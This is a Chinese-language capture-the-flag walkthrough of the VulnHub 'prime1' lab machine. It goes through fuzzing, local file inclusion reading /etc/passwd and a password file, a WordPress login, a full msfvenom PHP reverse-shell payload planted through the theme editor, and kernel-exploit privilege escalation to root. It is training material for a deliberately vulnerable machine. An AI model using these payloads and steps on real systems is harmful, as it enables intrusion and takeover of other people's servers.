vulnhub靶场实战系列(二)之 prime1
系列文章
vulnhub靶场实战之 prime1
我们本次渗透模拟的靶机是来自vulnhub靶场的 prime1
安装的方法自行百度
环境准备
名称 | IP | 用户 |
---|---|---|
kali(攻击机) | 192.168.41. 13 | kali |
prime1(靶机) | 未知 | victor(密码未知) |
实际环境如图所示:
目的:获得目标靶机flag
主机发现和端口扫描
首先第一步,我们需要探测目标靶机的IP信息和端口,才能进行后续的操作
nmap 192.168.41.0/24
扫描发现192.168.41.29主机存活且开放22,80端口
目录扫描
接下来我们打开浏览器来访问目标靶机的80端口提供的web服务
发现并没有什么登录框等常规存在漏洞的地方,接下来我们进行目录扫描
dirb http://192.168.141.29/
爆破得到以下几个界面:
http://192.168.141.29/dev
http://192.168.141.29/index.php
http://192.168.141.29/wordpress
我们接下来用浏览器与访问这些目录,打开后发现没有什么可以利用的地方,就只有一些单纯的文本而已,现在我们换一种思路,指定后缀扫描
dirb http://192.168.41.29 -X .txt,.php,.zip
发现了一个cecret.txt的文本文件,我们打开它查看:
翻译后是这样的,他这里提示我们下一步可以进行fuzz模糊测试来进一步进行渗透
FUZZ和LFI
既然他提示我们用fuzz进行模糊测试,那我们接下来便试试测试index.php的参数
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.41.29/index.php?FUZZ
执行后得到很多结果
这里就犯难了,那么多的参数,我们哪里看的过来,所以这里我们需要改变一下思路,去找那些不相同的,我们可以看到大部分的响应内容都是12 word的,那我们就过滤12个Word的结果看看
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.41.29/index.php?FUZZ
最终得到 http://192.168.41.29/index.php?file=??? ,结合上一步提示 curl http://192.168.41.29/index.php?file=location.txt
得到正确参数 secrettier360,这句话翻译过来就是我们需要在别的php文件去使用这个参数
那我们就去目录下扫他后缀为php的文件
dirb http://192.168.41.29/ -X .php
一共就发现了两个php的文件,那么结果已经显然易见了,结合一下
最终通过前面的种种利用,我们最终得到了下面这个url的链接:http://192.168.41.29/image.php?secrettier360,那么这个链接一般会有什么漏洞呢?一般这种后面有参数的经常可能会出现本地文件包含漏洞,我们抱着试一试的心态去测试一下
http://192.168.41.29/image.php?secrettier360=/etc/passwd
发现这里存在着一个文件包含敏感信息泄露漏洞,直接将密码文件给爆出来了
curl http://192.168.41.29/image.php?secrettier360=/etc/passwd
我们再查看泄露的信息中发现了一个提示::find password.txt file in my directory:/home/saket:
那接下来我们就通过他的提示去试试
curl http://192.168.41.29/image.php?secrettier360=/home/saket/password.txt
得到密码 follow_the_ippsec
wordpress漏洞利用
那么问题来了,我们得到了密码,却没有用户名,我们回想一下,除了之前扫到的ssh服务,我们是不是还扫到了一个wordpress的CMS
我们现在去枚举一下他网站存在的用户试试
cmseek -u http://192.168.41.29/wordpress/
发现没有枚举出什么用户,这里可能是这个网站不太行,我们切换个工具试试
wpscan --url http://192.168.41.29/wordpress/ --enumerate u
发现了用户名 victor ,现在我们去登录网站试试
成功登录进网站
接下来我们就要去找网站的漏洞点利用了,熟悉wordpress的朋友都知道,woedpress有一个主题编辑器 Appearance—>Theme Editor可以修改文件,我们可以向这个文件中写入反弹的shell,来获得目标机器的控制权
我们经过寻找,终于找到了一个我们可以修改写入的文件secret.php
接下来我们就要利用到msf了
生成PHP的反弹shell:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.41.13 lport=7777 -o shell.php
cat shell.php
/*<?php /**/ error_reporting(0); $ip = '192.168.41.13'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
kali启动一个端口 监听利用
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.41.13
set lport 7777
exploit
把shell放到靶机wordpress的主题编辑器里唯一可以编辑的php文件:secrect.php(删掉/*,写入生成的shell)
浏览器访问这个shell
http://192.168.41.29/wordpress/wpcontent/themes/twentynineteen/secret.php
反弹连接成功,进入meterpreter
现在我们已经获得了一个普通用户的权限,接下来就是提权得到root权限,最终得到flag
Linux内核漏洞提权
我们这里通过前期的信息收集,发现了他是一个Linux系统,对于Linux系统提权最常见的就是内核提权了
uname -a //查看系统内核
searchsploit 16.04 Ubuntu //查询对应的内核漏洞
发现了一个符合条件的系统内核提权漏洞,将其下载到本地
searchsploit -m 45010.c
编译攻击脚本
gcc 45010.c -o 45010
上传攻击脚本到靶机,发现对方机器只有/tmp有权限
upload /home/kali/桌面/45010 /tmp/45010
shell命令进入shell
cd /tmp
ls
chmod +x 45010
./45010 #运行可执行文件,获得root的权限
whoami
成功提权得到root权限
cd /root
ls
发现root目录下存在root.txt文件,查看该文件得到flag
cat root.txt